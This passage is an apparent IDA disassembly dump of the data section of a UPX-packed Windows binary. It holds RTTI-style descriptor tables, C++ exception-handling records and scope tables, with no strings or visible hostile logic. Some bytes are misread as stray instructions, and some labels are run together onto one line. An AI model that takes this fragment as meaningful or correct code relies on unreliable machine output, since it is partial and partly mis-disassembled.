		dd 0FFFFFFFFh, 0
		dd 40h,	4259ECh, 0
		dd 1, 5, 4259FCh, 4259D0h, 426050h, 426090h, 426100h, 4260CCh
		dd 0
		dd offset off_42B420
		dd 8, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4258ECh
dword_425A30	dd 3 dup(0)			dd offset off_42DC94
		dd offset dword_425A44
dword_425A44	dd 2 dup(0)			dd 3, 425A54h, 425A64h,	425B00h, 425B4Ch, 0
		dd offset off_42DC94
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425A44h
dword_425A80	dd 3 dup(0)			dd offset off_42DE84
		dd offset dword_425A94
dword_425A94	dd 2 dup(0)			dd 3, 425AA4h, 425AB4h,	425B00h, 425B4Ch, 0
		dd offset off_42DE84
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425A94h
dword_425AD0	dd 3 dup(0)			dd offset off_42DCB4
		dd offset dword_425AE4
dword_425AE4	dd 2 dup(0)			dd 2, 425AF4h, 425B00h,	425B4Ch, 0
		dd offset off_42DCB4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425AE4h, 3 dup(0)
		dd offset off_42DEC0
		dd offset dword_425B30
dword_425B30	dd 2 dup(0)			dd 2, 425B40h, 425B80h,	425B4Ch, 0
		dd offset off_42DC78
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	425B68h
dword_425B68	dd 2 dup(0)			dd 1, 425B78h, 425B4Ch,	0
		dd offset off_42DEC0
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425B30h
dword_425B9C	dd 3 dup(0)			dd offset off_42B5B0
		dd offset dword_425BB0
dword_425BB0	dd 0				dd 1, 7, 425BC0h, 425CD4h, 425BE0h, 425C60h, 425C9Ch, 4262B8h
		dd 425C44h, 425C28h, 0
		dd offset off_42B4F8
		db 5, 4	dup(0)
		align 4
		dd 0FFFFFFFFh, 0
		dd 40h,	425BFCh, 0
		dd 1, 6, 425C0Ch, 425BE0h, 425C60h, 425C9Ch, 4262B8h, 425C44h
		dd 425C28h, 0
		dd offset off_42B960
		align 10h
		dd 18h,	0FFFFFFFFh, 0
		dd 40h,	426284h, 42B8C0h, 1, 18h, 0FFFFFFFFh, 0
		dd 40h,	426188h, 42B458h, 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425C7Ch, 2 dup(0)
		dd 3, 425C8Ch, 425C60h,	425C9Ch, 4262B8h, 0
		dd offset off_42B43C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425CB8h, 2 dup(0)
		dd 2, 425CC8h, 425C9Ch,	4262B8h, 0
		dd offset off_42B5B0
		dd 6, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425BB0h
dword_425CF0	dd 0				dd 24h,	0
		dd offset off_42B6F8
		dd offset dword_425D18
dword_425D04	dd 3 dup(0)			dd offset off_42B6F8
		dd offset dword_425D18
dword_425D18	dd 0							; UPX0:00425D14o
		dd 1, 0Ch, 425D28h, 425DFCh, 425D5Ch, 42616Ch, 426150h
		dd 425DB8h, 426050h, 426090h, 426100h, 4260CCh,	425F20h
		dd 425F04h, 425EE8h, 0
		dd offset off_42B6D8
		dd 0Ah,	0
		dd 0FFFFFFFFh, 0
		dd 40h,	425D78h, 0
		dd 1, 0Bh, 425D88h, 425D5Ch, 42616Ch, 426150h, 425DB8h
		dd 426050h, 426090h, 426100h, 4260CCh, 425F20h,	425F04h
		dd 425EE8h, 0
		dd offset off_42B678
		dd 4, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425DD4h, 0
		dd 1, 5, 425DE4h, 425DB8h, 426050h, 426090h, 426100h, 4260CCh
		dd 0
		dd offset off_42B6F8
		dd 0Bh,	0
		dd 0FFFFFFFFh, 0
		dd 40h,	425D18h
dword_425E18	dd 0				dd 24h,	0
		dd offset off_42B928
		dd offset dword_425E40
dword_425E2C	dd 3 dup(0)			dd offset off_42B928
		dd offset dword_425E40
dword_425E40	dd 0							; UPX0:00425E3Co
		dd 1, 0Dh, 425E50h, 4261C0h, 425E88h, 42616Ch, 426150h
		dd 42600Ch, 426050h, 426090h, 426100h, 4260CCh,	425F3Ch
		dd 425F20h, 425F04h, 425EE8h, 0
		dd offset off_42B904
		dd 0Bh,	0
		dd 0FFFFFFFFh, 0
		dd 40h,	425EA4h, 0
		dd 1, 0Ch, 425EB4h, 425E88h, 42616Ch, 426150h, 42600Ch
		dd 426050h, 426090h, 426100h, 4260CCh, 425F3Ch,	425F20h
		dd 425F04h, 425EE8h, 0
		dd offset off_42B9CC
		align 10h
		dd 24h,	0FFFFFFFFh, 0
		dd 40h,	4262D4h, 42B72Ch, 1, 24h, 0FFFFFFFFh, 0
		dd 40h,	425FD4h, 42B748h, 2, 24h, 0FFFFFFFFh, 0
		dd 40h,	425F98h, 42B76Ch, 3, 24h, 0FFFFFFFFh, 0
		dd 40h,	425F58h, 2 dup(0)
		dd 4, 425F68h, 425FF0h,	425F7Ch, 425FB8h, 4262B8h, 0
		dd offset off_42B748
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425F98h, 2 dup(0)
		dd 3, 425FA8h, 425F7Ch,	425FB8h, 4262B8h, 0
		dd offset off_42B72C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425FD4h, 2 dup(0)
		dd 2, 425FE4h, 425FB8h,	4262B8h, 0
		dd offset off_42B76C
		dd 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425F58h, 42B858h, 4, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426028h, 0
		dd 1, 5, 426038h, 42600Ch, 426050h, 426090h, 426100h, 4260CCh
		dd 0
off_426050	dd offset off_42B800	; DATA XREF: UPX0:00424F68o
					; UPX0:00425034o
		dd 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42606Ch, 0
		dd 1, 4, 42607Ch, 426050h, 426090h, 426100h, 4260CCh, 0
off_426090	dd offset off_42B7C8	; DATA XREF: UPX0:00424F6Co
					; UPX0:00425038o
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4260ACh, 0
		dd 1, 3, 4260BCh, 426090h, 426100h, 4260CCh, 0
off_4260CC	dd offset off_42B78C	; DATA XREF: UPX0:00424F74o
					; UPX0:00425040o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	4260E8h, 2 dup(0)
		dd 1, 4260F8h, 4260CCh,	0
off_426100	dd offset off_42B7AC	; DATA XREF: UPX0:00424F70o
					; UPX0:0042503Co
		align 8
		dd 4, 0FFFFFFFFh, 0
		dd 40h,	42611Ch, 2 dup(0)
		dd 1, 42612Ch, 426134h,	0
		dd offset off_42B7AC
		align 10h
		dd 0FFFFFFFFh, 0
		dd 40h,	42611Ch, 42B960h, 0
		dd 28h,	0FFFFFFFFh, 0
		dd 40h,	426284h, 42B8C0h, 1, 28h, 0FFFFFFFFh, 0
		dd 40h,	426188h, 2 dup(0)
		dd 2, 426198h, 4261A4h,	426268h, 0
		dd offset off_42B8C0
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426188h, 42B928h, 0Ch, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425E40h
dword_4261DC	dd 3 dup(0)			dd offset off_42B9E4
		dd offset dword_4261F0
dword_4261F0	dd 0				dd 1, 4, 426200h, 4262ECh, 4262B8h, 426230h, 426214h, 0
		dd offset off_42B960
		dd 0
		dd 4, 0FFFFFFFFh, 0
		dd 40h,	426284h, 42B988h, 1, 4,	0FFFFFFFFh, 0
		dd 40h,	42624Ch, 2 dup(0)
		dd 2, 42625Ch, 42629Ch,	426268h, 0
		dd offset off_42B960
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	426284h, 2 dup(0)
		dd 1, 426294h, 426268h,	0
		dd offset off_42B988
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42624Ch, 42B9CCh, 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	4262D4h, 2 dup(0)
		dd 1, 4262E4h, 4262B8h,	0
		dd offset off_42B9E4
		dd 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4261F0h, 0
		dd 24h,	0
		dd offset off_42DEDC
		dd offset dword_426330
dword_42631C	dd 3 dup(0)			dd offset off_42DEDC
		dd offset dword_426330
dword_426330	dd 0							; UPX0:0042632Co
		dd 1, 0Ah, 426340h, 42636Ch, 425A14h, 4259D0h, 426050h
		dd 426090h, 426100h, 4260CCh, 425940h, 425924h,	425EE8h
		dd 0
		dd offset off_42DEDC
		dd 9, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426330h, 0
		dd 24h,	0
		dd offset off_42DEF8
		dd offset dword_4263B0
dword_42639C	dd 3 dup(0)			dd offset off_42DEF8
		dd offset dword_4263B0
dword_4263B0	dd 0							; UPX0:004263ACo
		dd 1, 0Ah, 4263C0h, 4263ECh, 425A14h, 4259D0h, 426050h
		dd 426090h, 426100h, 4260CCh, 425940h, 425924h,	425EE8h
		dd 0
		dd offset off_42DEF8
		dd 9, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4263B0h, 0
		dd 24h,	0
		dd offset off_42DF18
		dd offset dword_426430
dword_42641C	dd 3 dup(0)			dd offset off_42DF18
		dd offset dword_426430
dword_426430	dd 0							; UPX0:0042642Co
		dd 1, 0Ah, 426440h, 42646Ch, 425A14h, 4259D0h, 426050h
		dd 426090h, 426100h, 4260CCh, 425940h, 425924h,	425EE8h
		dd 0
		dd offset off_42DF18
		dd 9, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426430h, 0
		dd 24h,	0
		dd offset off_42DF34
		dd offset dword_4264B0
dword_42649C	dd 3 dup(0)			dd offset off_42DF34
		dd offset dword_4264B0
dword_4264B0	dd 0							; UPX0:004264ACo
		dd 1, 0Ah, 4264C0h, 4264ECh, 425A14h, 4259D0h, 426050h
		dd 426090h, 426100h, 4260CCh, 425940h, 425924h,	425EE8h
		dd 0
		dd offset off_42DF34
		dd 9, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4264B0h
dword_426508	dd 3 dup(0)			dd offset off_42DF74
		dd offset dword_42651C
dword_42651C	dd 2 dup(0)			dd 3, 42652Ch, 426574h,	42653Ch, 4262B8h, 0
		dd offset off_42DF54
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426558h, 2 dup(0)
		dd 2, 426568h, 42653Ch,	4262B8h, 0
		dd offset off_42DF74
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42651Ch
dword_426590	dd 3 dup(0)			dd offset off_42E008
		dd offset dword_4265A4
dword_4265A4	dd 2 dup(0)			dd 4, 4265B4h, 42668Ch,	4265C8h, 426604h, 42663Ch, 0
		dd offset off_42DFD4
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4265E4h, 2 dup(0)
		dd 3, 4265F4h, 4265C8h,	426604h, 42663Ch, 0
		dd offset off_42DFB4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	426620h, 2 dup(0)
		dd 2, 426630h, 426604h,	42663Ch, 0
		dd offset off_42DF94
		dd 0
		dd 4, 0FFFFFFFFh, 0
		dd 40h,	426658h, 2 dup(0)
		dd 1, 426668h, 426670h,	0
		dd offset off_42DF94
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	426658h, 42E008h, 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4265A4h, 2 dup(0)
dword_4266B0	dd 0BE20h, 0C14Ah, 0C254h, 0FF9Ch, 14620h, 1BED4h, 1BEEFh
					; DATA XREF: UPX0:00424DB0o
					; UPX1:00470A70o
		dd 1BF15h, 1BF38h, 1BF5Bh, 1BF7Eh, 1BFABh, 1BFCEh, 1C011h
		dd 1C056h, 1C086h, 1C0B7h, 1C107h, 1C12Dh, 1C14Bh, 1C166h
		dd 1C189h, 1C1DCh, 1C209h, 1C224h, 1C247h, 1C277h, 1C2B2h
		dd 1C2DAh, 1C315h, 1C345h, 1C383h, 1C3C1h, 1C3DCh, 1C3FCh
		dd 1C41Fh, 1C442h, 1C468h, 1C48Eh, 1C4B1h, 1C4D4h, 1C4F9h
		dd 1C527h, 1C542h, 1C568h, 1C599h, 1C5CFh, 1C5EAh, 1C605h
		dd 1C630h, 1C65Bh, 1C690h, 1C6CBh, 1C6EEh, 1C711h, 1C734h
		dd 1C75Ah, 1C7C8h, 0
dword_42679C	dd 2 dup(0)						; sub_40FC85+8o
dword_4267A4	dd 0							; UPX0:0040FCB3o
		dd 0FFFFFFFFh, 41BECCh
dword_4267B0	dd 19930522h, 1, 4267A8h, 5 dup(0)		dd 1, 0
dword_4267D8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40AE1E
		align 8
dword_4267F8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40AE9C
		align 8
dword_426818	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 40B080h,	40B0A9h, 0
dword_426838	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B106
		align 8
dword_426858	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B353
		align 8
dword_426878	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B76A
		align 8
dword_426898	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B9DF
		align 8
dword_4268B8	dd 0FFFFFFFEh, 0		db 88h,	0FFh
		dw 0FFFFh
		align 8
		dd 0FFFFFFFEh, 40BD1Ch,	40BD20h, 0FFFFFFFEh, 40BCE2h, 40BCF6h
dword_4268E0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40CFA0
		align 10h
dword_426900	dd 0FFFFFFFEh, 0		dd 0FFFFFFC8h, 0
		dd 0FFFFFFFEh, 0
		dd offset loc_40DD28
		align 10h
dword_426920	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40E04Bh,	40E04Fh, 0
dword_426940	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40E09Bh,	40E09Fh, 0
dword_426960	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E2FE
		dd 0FFFFFFFEh, 0
		dd offset sub_40E30D
dword_426988	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E4C0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E4CC
dword_4269B0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E6F7
		align 10h
dword_4269D0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40EADC
		align 10h
dword_4269F0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40EC6F
		align 10h
dword_426A10	dd 0FFFFFFFEh, 0		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 40FC6Eh,	40FC72h, 0
dword_426A30	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 40FE6Ah,	40FE86h, 0
dword_426A50	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 41017Bh,	41018Fh, 0
dword_426A70	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_410365
		align 10h
		dd offset loc_410327
		dd offset loc_410331
dword_426A98	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 41040Eh,	410417h, 40h, 2	dup(0)
		dd offset loc_4104F5
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 426AB4h
dword_426AE8	dd 19930522h, 2, 426AC4h, 1, 426AD4h, 3	dup(0)		dd 1, 0
dword_426B10	dd 0FFFFFFFEh, 0		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41062D
		align 10h
		dd offset loc_41059D
		dd offset loc_4105A6
dword_426B38	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 410814h,	410818h, 0
dword_426B58	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4108ADh,	4108B1h
dword_426B74	dd 0		; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 41h, 0
		align 10h
		dd offset dword_426B84
dword_426B84	dd 2, 426B90h, 426DA8h,	0		dd offset off_42A424
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	410D63h, 0
dword_426BB0	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_411050
		align 10h
dword_426BD0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41185F
		align 10h
dword_426BF0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_411DBB
		align 10h
dword_426C10	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_412189
		align 10h
dword_426C30	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4124F9
		align 10h
dword_426C50	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 413621h,	413638h, 0
dword_426C70	dd 0FFFFFFFEh, 0		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_413830
		align 10h
dword_426C90	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4148D8
		align 10h
dword_426CB0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_414A68
		align 10h
dword_426CD0	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_414BF2
		dd 2 dup(0)
		dd offset sub_414BBE
dword_426CF8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_415BBB
		align 8
dword_426D18	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_415E01
		align 8
dword_426D38	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_415EE3
		align 8
dword_426D58	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41656A
		align 8
		dd offset off_42BA1C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 4, 0
dword_426D90	dd 1, 426D74h	dword_426D98	dd 3 dup(0)			dd offset dword_426D90
		dd 0
		dd offset off_42DC78
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	40AD27h, 0
		dd offset off_42DC94
		align 10h
		dd 0FFFFFFFFh, 0
		dd 28h,	404B07h, 0
		dd offset off_42DCB4
		dd 0
		dd 0FFFFFFFFh, 0
dword_426DF4	dd 28h,	404B1Fh, 3, 426DC4h, 426DE0h, 426DA8hdword_426E0C	dd 0							; sub_40ABCE+29o
		dd offset sub_404ADA
		align 8
		dd offset dword_426DF4+8
		align 10h
		dd offset off_42DE84
		align 8
		dd 0FFFFFFFFh, 0
dword_426E30	dd 28h,	405ED5h, 3, 426E1Ch, 426DE0h, 426DA8hdword_426E48	dd 0							; sub_40AB96+29o
		dd offset sub_404A95
		dd 0
		dd offset dword_426E30+8
		dd 0
		dd offset off_42DEC0
		dd 0
		dd 0FFFFFFFFh, 0
dword_426E6C	dd 0Ch,	407019h, 2, 426E58h, 426DA8hdword_426E80	dd 0							; sub_406FCF+34o ...
		dd offset sub_40499C
		dd 0
		dd offset dword_426E6C+8
dword_426E90	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 41714Fh,	417153h, 0
dword_426EB0	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 41739Ch,	4173CEh, 0FFFFFFFFh, 41BF76h
dword_426ED4	dd 19930522h, 1, 426ECCh, 5 dup(0)		dd 1, 0FFFFFFFFh, 41BFA3h
dword_426F00	dd 19930522h, 1, 426EF8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41BFC6h
dword_426F2C	dd 19930522h, 1, 426F24h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41BFE9h, 0
		dd offset loc_41BFF1
		dd 1, 41BFF9h, 2, 41C001h, 3, 41C009h
dword_426F78	dd 19930522h, 5, 426F50h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41C036h, 0
		dd offset loc_41C03E
		dd 1, 41C046h, 2, 41C04Eh
dword_426FBC	dd 19930522h, 4, 426F9Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 41C07Bh
dword_426FE8	dd 19930522h, 1, 426FE0h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41C0A7h, 0FFFFFFFFh, 41C0AFh
dword_42701C	dd 19930522h, 2, 42700Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 41C0DFh, 0
		dd offset loc_41C0E7
		dd 1, 41C0F2h, 1, 41C0FAh
dword_427060	dd 19930522h, 4, 427040h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41C122h
dword_42708C	dd 19930522h, 1, 427084h, 5 dup(0)		dd 1
dword_4270B0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 401171h,	401185h, 0
dword_4270D0	dd 0FFFFFFE4h, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 401079h,	40108Dh, 0
		dd 0FFFFFFFFh, 41BF0Ah
dword_4270F8	dd 19930522h, 1, 4270F0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41BF30h
dword_427128	dd 19930522h, 1, 427120h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41BF53h
dword_427158	dd 19930522h, 1, 427150h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_406D20
		dd 2 dup(0)
		dd 2 dup(1), 427190h
dword_4271B4	dd 19930522h, 2, 427180h, 1, 4271A0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset sub_405FD8
		dd 40h,	2 dup(0)
		dd offset loc_405F66
		dd 2 dup(2), 3,	1, 4271F8h, 2 dup(0)
		dd 3, 1, 427208h
dword_427240	dd 19930522h, 4, 4271D8h, 2, 427218h, 3	dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C181h
dword_427270	dd 19930522h, 1, 427268h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C1A4h,	0FFFFFFFFh, 41C1ACh, 1,	41C1B4h
		dd 0FFFFFFFFh, 41C1BCh,	0FFFFFFFFh, 41C1C4h, 4,	41C1CCh
		dd 0FFFFFFFFh, 41C1D4h
dword_4272D0	dd 19930522h, 7, 427298h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41C1F7
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 41C201h,	40h, 2 dup(0)
		dd offset loc_401A82
		dd 0
		dd 1, 2, 1, 427318h
dword_42733C	dd 19930522h, 4, 4272F8h, 1, 427328h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_401680
		dd 2 dup(0)
		dd 2 dup(1), 427370h
dword_427394	dd 19930522h, 2, 427360h, 1, 427380h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C23Fh
dword_4273C0	dd 19930522h, 1, 4273B8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C26Ch
dword_4273F0	dd 19930522h, 1, 4273E8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C2A2h,	4 dup(0)
		dd 0FFFFFFFFh, 41C2AAh,	3, 0
		dd 3, 0
		dd 40h,	2 dup(0)
		dd offset loc_407DEE
		dd 40h,	2 dup(0)
		dd offset loc_407F09
		dd 2 dup(1), 2,	1, 427448h, 2 dup(4), 5, 1, 427458h
dword_427490	dd 19930522h, 6, 427418h, 2, 427468h, 3	dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset sub_406638
		dd 40h,	2 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 65h,	40h, 0
		dd 2 dup(2), 3,	1, 4274D8h, 2 dup(0)
		dd 3, 1, 4274E8h
dword_427520	dd 19930522h, 4, 4274B8h, 2, 4274F8h, 3	dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C2F5h,	0
; ---------------------------------------------------------------------------
		std
		retn	41h
; ---------------------------------------------------------------------------
		dd 1, 41C305h, 2, 41C30Dh
dword_427568	dd 19930522h, 4, 427548h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C33Dh
dword_427598	dd 19930522h, 1, 427590h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C36Dh,	0
		dd offset loc_41C378
dword_4275D0	dd 19930522h, 2, 4275C0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 41C3B1h,	2, 0
		dd 2, 0
		dd 2, 41C3B9h, 40h, 2 dup(0)
		dd offset loc_407627
		dd 40h,	2 dup(0)
		dd offset loc_40766E
		align 10h
		dd 2 dup(1), 427628h, 2	dup(3),	4, 1, 427638h
dword_427670	dd 19930522h, 6, 4275F8h, 2, 427648h, 3	dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_4069F1
		align 10h
		dd 2 dup(1), 4276A8h
dword_4276CC	dd 19930522h, 2, 427698h, 1, 4276B8h, 3	dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41C3F7
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_4064E4
		dd 0
		dd 1, 2, 1, 427708h
dword_42772C	dd 19930522h, 3, 4276F0h, 1, 427718h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C417h
dword_427758	dd 19930522h, 1, 427750h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C43Ah
dword_427788	dd 19930522h, 1, 427780h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C45Dh
dword_4277B8	dd 19930522h, 1, 4277B0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C483h
dword_4277E8	dd 19930522h, 1, 4277E0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C4A9h
dword_427818	dd 19930522h, 1, 427810h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C4CCh
dword_427848	dd 19930522h, 1, 427840h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41C4EF
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_4050F9
		dd 0
		dd 1, 2, 1, 427888h
dword_4278AC	dd 19930522h, 3, 427870h, 1, 427898h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C514h, 0
		dd offset loc_41C51C
dword_4278E0	dd 19930522h, 2, 4278D0h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_404001
		align 10h
		dd 2 dup(1), 427918h
dword_42793C	dd 19930522h, 2, 427908h, 1, 427928h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41C55Dh
dword_427968	dd 19930522h, 1, 427960h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C583h,	0
		dd offset loc_41C58E
dword_4279A0	dd 19930522h, 2, 427990h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 41C5C7h
dword_4279D0	dd 19930522h, 1, 4279C8h, 5 dup(0)		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40712E
		align 10h
		dd 2 dup(1), 427A08h
dword_427A2C	dd 19930522h, 2, 4279F8h, 1, 427A18h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
